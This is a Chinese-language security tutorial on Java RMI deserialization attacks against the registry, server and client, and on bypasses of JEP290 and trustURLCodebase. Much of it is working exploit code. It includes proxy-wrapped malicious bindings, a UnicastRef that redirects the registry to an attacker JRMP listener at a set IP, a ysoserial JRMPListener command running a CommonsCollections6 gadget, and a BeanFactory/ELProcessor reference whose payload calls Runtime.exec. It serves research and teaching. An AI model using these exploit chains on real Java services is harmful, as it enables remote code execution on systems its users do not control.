RMI简介 Java远程方法调用 ,即Java RMI (Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。它是由注册中心、服务端和客户端三部分组成。
攻击方式 RMI的各种攻击方式本质上是利用对象传输过程中反序列化实现的,以下是几种常见的攻击方式。
攻击注册中心 当服务端向注册中心注册时,注册中心会反序列化服务端绑定的对象,具体体现在sun.rmi.registry.RegistryImpl_Skel#dispatch
。当服务端注册绑定的是一个恶意的对象时,就可造成反序列化漏洞。当然,由于绑定的对象需要时Remote
对象,所以恶意对象需要实现使用代理类或改写注册方法才能注册绑定。
在远程方法实例化的过程中,调用的父类java.rmi.server.UnicastRemoteObject
的构造方法,最终是调用了sun.rmi.server.Util#createProxy
方法创建Remote
的动态代理类对象并返回。
POC中的动态代理类按照createProxy
方法中逻辑写即可,其中InvocationHandler
子类通常选择sun.reflect.annotation.AnnotationInvocationHandler
,它具有Map<String, Object>
类型的属性memberValues
可以很方便的绑定反序列化的恶意对象。
最终POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); HashMap<String, Object> map = new HashMap<>(); map.put("obj" , evilObject()); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map); Remote remoteObj = (Remote) Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler ); Registry registry = LocateRegistry.getRegistry("127.0.0.1" , 1009 ); registry.bind("AttackRegistry" , remoteObj);
攻击服务端 反序列化参数 攻击服务端其中一种方法是通过反序列化远程方法参数实现的。服务端反序列化参数体现在sun.rmi.server.UnicastServerRef#dispatch
方法里调用的unmarshalParameters
方法,最终通过sun.rmi.server.UnicastRef#unmarshalValue
方法反序列化非基本类型的参数。
1 2 3 4 5 6 7 protected static Object unmarshalValue (Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException { if (var0.isPrimitive()) { ... } else { return var1.readObject(); } }
反序列化参数的利用POC比较简单,但需要服务端以Object
未参数的远程方法,Demo如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 接口 public interface IRemoteMethod extends Remote { public IRemoteMethod exploit (Object obj) throws RemoteException ; } # 实现类 public class RemoteMethod extends UnicastRemoteObject implements IRemoteMethod { protected RemoteMethod () throws RemoteException { } public IRemoteMethod exploit (Object obj) throws RemoteException { return null ; } }
然后在客户端里放上同样的接口,从注册中心获取远程方法信息,并以恶意对象调用远程方法即可。
1 2 3 4 public static void main (String[] args) throws Exception { IRemoteMethod remoteMethod = (IRemoteMethod) new InitialContext().lookup("rmi://192.168.78.137:1009/RemoteMethod" "); remoteMethod.exploit(evilObject()); }
对于非Object参数,但又是Object子类的远程方法,可以用动态代理或继承该子类的方法绕过。
攻击客户端 反序列化注册绑定对象 当客户端lookup
时,也会从注册中心获取并反序列化注册绑定的对象,这时的反序列化是在存根sun.rmi.registry.RegistryImpl_Stub#lookup
方法中进行。POC的构造也与注册中心反序列化的差不多,只是改成由注册中心注册绑定恶意类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); HashMap<String, Object> map = new HashMap<>(); map.put("obj" , evilObject()); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map); Remote remoteObj = (Remote) Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler ); Registry registry = LocateRegistry.createRegistry(1009 ); registry.bind("AttackRegistry" , remoteObj);
反序列化返回值 当远程方法的返回值不为空,且不为基础类型时,就会对返回值进行反序列化。反序列化返回值与服务端反序列化参数的调用栈类似,最终都是通过sun.rmi.server.UnicastRef#unmarshalValue
方法反序列化。
POC也很简单,远程方法直接返回恶意对象即可:
1 2 3 4 5 6 public class AttackerRemoteMethod extends UnicastRemoteObject implements IAttackerRemoteMethod { public Object exploit () throws RemoteException { return evilObject(); } }
JEP290及其绕过 JEP290是JDK9引入的规范,并且向下兼容到JDK 8u121、JDK 7u131和JDK 6u141。其核心机制是由序列化客户端实现并设置在ObjectInputStream
,在反序列化过程中调用过滤器接口方法来验证正在反序列化的类、正在创建的数组的大小以及反序列化的长度、深度和反序列化时引用的数量,返回REJECTED
、ALLOWED
或UNDECIDED
状态。他的过滤接口方法并不是默认配置的,而是通过jdk.serialFilter
属性设置全局过滤接口方法或setObjectInputFilter
方法设置局部过滤接口方法。
在RMI反序列化过程中仅注册中心在sun.rmi.registry.RegistryImpl#registryFilter
中实现,对反序列化的深度、数组大小和反序列化的类做了限制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 private static Status registryFilter (FilterInfo var0) { if (registryFilter != null ) { Status var1 = registryFilter.checkInput(var0); if (var1 != Status.UNDECIDED) { return var1; } } if (var0.depth() > 20L ) { return Status.REJECTED; } else { Class var2 = var0.serialClass(); if (var2 != null ) { if (!var2.isArray()) { return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED; } else { return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED; } } else { return Status.UNDECIDED; } } }
UnicastRef 类绕过 UnicastRef 是RMI注册中心反序列化白名单中的类,是正常bind对象后注册中心得到的stub中的属性。
下面调试下正常的注册流程,直接在sun.rmi.registry.RegistryImpl_Skel#dispatch
处,注册中心反序列化服务端bind对象开始。接着调用封装类的父类RemoteObject
的自定义readObject
方法。在这里会实例化Reference类UnicastRef
,并调用他的readExternal
反序列化。readExternal
里接着调用sun.rmi.transport.LiveRef#read
给UnicastRef
的ref
属性赋值。
1 2 3 4 5 6 read:291, LiveRef (sun.rmi.transport) readExternal:489, UnicastRef (sun.rmi.server) readObject:455, RemoteObject (java.rmi.server) ... readObject:431, ObjectInputStream (java.io) dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
sun.rmi.transport.LiveRef#read
方法里,主要逻辑是从输入流中获取TCPEndpoint
和ObjID
,来初始化LiveRef
并返回。这里的TCPEndpoint
记录着服务端监听的地址和端口,并且方法里保存LiveRef
到输入流的操作会将TCPEndpoint
保存到输入流的incomingRefTable
属性中,这一步很关键。
反序列化结束后就是注册引用的流程。
在sun.rmi.transport.DGCImpl_Stub#dirty
方法首先利用反序列化的UnicastRef
建立连接,返回一个StreamRemoteCall
对象,接着调用它的invoke
方法。
invoke
方法最后调用的是StreamRemoteCall
对象的executeCall
方法,通过getInputStream
方法从conn
属性获取输入流赋值给in
属性,然后从输入流中获取一个字节赋给var1
,进入switch语句中,为2则反序列化输入流。至此与UnicateRef绕过JEP290的流程就结束了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public void executeCall () throws Exception { DGCAckHandler var2 = null ; byte var1; try { ... this .getInputStream(); var1 = this .in.readByte(); this .in.readID(); } catch (UnmarshalException var11) { ... } switch (var1) { case 1 : return ; case 2 : Object var14; try { var14 = this .in.readObject(); } catch (Exception var10) { throw new UnmarshalException("Error unmarshaling return" , var10); } ... } ... }
关于这个var1
作用,查了AdoptOpenJDK的源码得知是JRMP协议中返回值的标记,正常返回值不会进行反序列化。UnicastRef绕过JEP290使用ysoserial中的JRMPlistener,其将报错返回改成反序列化的payload,实现命令执行。
最后服务端的代码如下,相比正常的流程可以控制LiveRef
指向恶意的服务端ip和端口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class UnicastRefBypass { public static void main (String[] args) throws Exception { Registry reg = LocateRegistry.getRegistry("localhost" , 1009 ); ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("10.91.33.139" , 3333 ); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false )); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(UnicastRefBypass.class.getClassLoader(), new Class[]{ Registry.class }, obj); reg.bind("UnicastRefBypass" , proxy); } }
UnicastRemoteObject类绕过 在8u231的修复中,sun.rmi.transport.DGCImpl_Stub#dirty
提前为输入流filter
属性设置了过滤接口方法,在后续sun.rmi.transport.StreamRemoteCall#executeCall
中又捕获过滤接口方法抛出的InvalidClassException
异常,清空输入流中incomingRefTable
属性的值。前者使得利用UnicastRef
类绕过方式在反序列化Exception
返回值时无法反序列化任意类。
国外安全研究员An Trinh在8u231版本发布前提出的一种绕过方式 ,没有使用注册流程中注册中心发起连接到服务端的输入流,而是利用注册中心在反序列化服务端绑定的对象过程中发起JRMP请求,巧妙地绕过了过滤。
先从直接反序列化构造的对象来复现下这个POC,首先用ysoserial起一个JRMPListener
的exploit。
1 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections6 "calc"
然后再现在下面的POC反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("127.0.0.1" , 3333 ); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false )); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance( RMIServerSocketFactory.class.getClassLoader(), new Class[]{RMIServerSocketFactory.class, Remote.class}, obj ); Constructor constructor = UnicastRemoteObject.class.getDeclaredConstructor(null ); constructor.setAccessible(true ); UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) constructor.newInstance(null ); Field field = UnicastRemoteObject.class.getDeclaredField("ssf" ); field.setAccessible(true ); field.set(unicastRemoteObject, serverSocketFactory); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(unicastRemoteObject); byte [] result = byteArrayOutputStream.toByteArray();ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject();
调用栈很长,先从java.rmi.server.UnicastRemoteObject#reexport
方法开始。当csf
或ssf
属性非空时,会用csf
和ssf
实例化一个UnicastServerRef2
对象,并调用UnicastServerRef2
父类UnicastServerRef
的exportObject
方法。
UnicastServerRef
的exportObject
方法就是实现监听端口的操作。后续精彩的部分来了,监听端口的操作会调用sun.rmi.transport.tcp.TCPEndpoint#newServerSocket
方法,其中会调用它的ssf
属性的方法,这个ssf
属性与前面UnicastRemoteObject
对象的ssf
属性一致,是封装RemoteObjectInvocationHandler
的代理类对象。由于代理类的特性,会先调用RemoteObjectInvocationHandler
类的invoke
方法。再后面的调用栈与客户端调用远程方法的调用栈一致,也就是原本的注册中心变成了客户端,由于客户端没有启动JEP290设置,也就绕过了注册中心的JEP290限制。
单在实际注册绑定的过程中,构造的类会在RegistryImpl_Stub
的bind方法中,序列化类的输出流ConnectionOutputStream
的父类MarshalOutputStream
的enableReplace
属性永为true
,代理类被替换为UnicastRef
造成利用链被破坏,所以实际利用中要想办法将enableReplace
值改为false
。ysomap 中有实现方法,感兴趣可有看一看。
trustURLCodebase绕过 除了以上注册中心JEP290的限制之外,RMI中服务端对客户端的攻击:JNDI注入,使用rmi和ldap协议加载外部工厂类也先后受到trustURLCodebase
的限制,只能从本地工厂类实例化对象。
本地工厂类绕过 使用本地工厂类进行JNDI注入和RMI协议远程加载恶意类的JNDI注入开头的调用栈基本相似,毕竟两者都是基于RMI协议的,但在javax.naming.spi.NamingManager#getObjectInstance
这里开始就有所不同。在调用getObjectFactoryFromReference
方法时返回的是本地正常的工厂类,这个工厂类是ObjectFactory
的实现类或他的子类,然后调用工厂类的getObjectInstance
方法。
现在比较通用的ObjectFactory
实现类是BeanFactory
,他的getObjectInstance
方法会从ResourceRef
对象的className
属性获取类名并实例化,然后从forceString的String引用地址以=
号分割获取参数名和setter方法名,并反射获取这个setter参数为String的方法,最后获取参数名的String引用地址内内容,用实例化的对象调用这个setter方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException { if (obj instanceof ResourceRef) { try { Reference ref = (Reference) obj; String beanClassName = ref.getClassName(); Class<?> beanClass = null ; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null ) { try { beanClass = tcl.loadClass(beanClassName); } catch (ClassNotFoundException e) { } } else { try { beanClass = Class.forName(beanClassName); } catch (ClassNotFoundException e) { e.printStackTrace(); } } if (beanClass == null ) { throw new NamingException ("Class not found: " + beanClassName); } ... Object bean = beanClass.getConstructor().newInstance(); RefAddr ra = ref.get("forceString" ); Map<String, Method> forced = new HashMap<>(); String value; if (ra != null ) { value = (String)ra.getContent(); Class<?> paramTypes[] = new Class[1 ]; paramTypes[0 ] = String.class; String setterName; int index; for (String param: value.split("," )) { param = param.trim(); index = param.indexOf('=' ); if (index >= 0 ) { setterName = param.substring(index + 1 ).trim(); param = param.substring(0 , index).trim(); } else { ... } try { forced.put(param, beanClass.getMethod(setterName, paramTypes)); } catch (NoSuchMethodException|SecurityException ex) { ... } } } Enumeration<RefAddr> e = ref.getAll(); while (e.hasMoreElements()) { ra = e.nextElement(); String propName = ra.getType(); if (propName.equals(Constants.FACTORY) || propName.equals("scope" ) || propName.equals("auth" ) || propName.equals("forceString" ) || propName.equals("singleton" )) { continue ; } value = (String)ra.getContent(); Object[] valueArray = new Object[1 ]; Method method = forced.get(propName); if (method != null ) { valueArray[0 ] = value; try { method.invoke(bean, valueArray); } catch (...) { ... } continue ; } ... } return bean; } catch (java.beans.IntrospectionException ie) { ... } } else { return null ; } }
结合以上getObjectInstance
代码逻辑,被反射的类需要符合以下条件才可被利用:
具有一个无参公有构造方法
具有一个公有、参数为String类型的方法
一些使用了tomcat-embed-el
依赖的项目,或者部分tomcat和spring的版本下具有的javax.el.ELProcessor
类和他的eval
方法符合这些条件,最终构造出用于绑定的Remote对象如下:
1 2 3 4 ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor" , (String) null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , (String) null ); resourceRef.add(new StringRefAddr("forceString" , "a=eval" )); resourceRef.add(new StringRefAddr("a" , "Runtime.getRuntime().exec(\"calc\")" )); ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
参考 https://mp.weixin.qq.com/s/AG0OfLfQWW-winIWiOtwLQ
https://su18.org/post/rmi-attack/
http://pipinstall.cn/2021/05/31/%E6%B7%B1%E5%85%A5%E5%AD%A6%E4%B9%A0RMI%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
https://xz.aliyun.com/t/7932
https://cert.360.cn/report/detail?id=add23f0eafd94923a1fa116a76dee0a1
https://www.anquanke.com/post/id/263726
https://tttang.com/archive/1405/
https://mp.weixin.qq.com/s/gBuKDjRfnbJDv6TG5F6q3w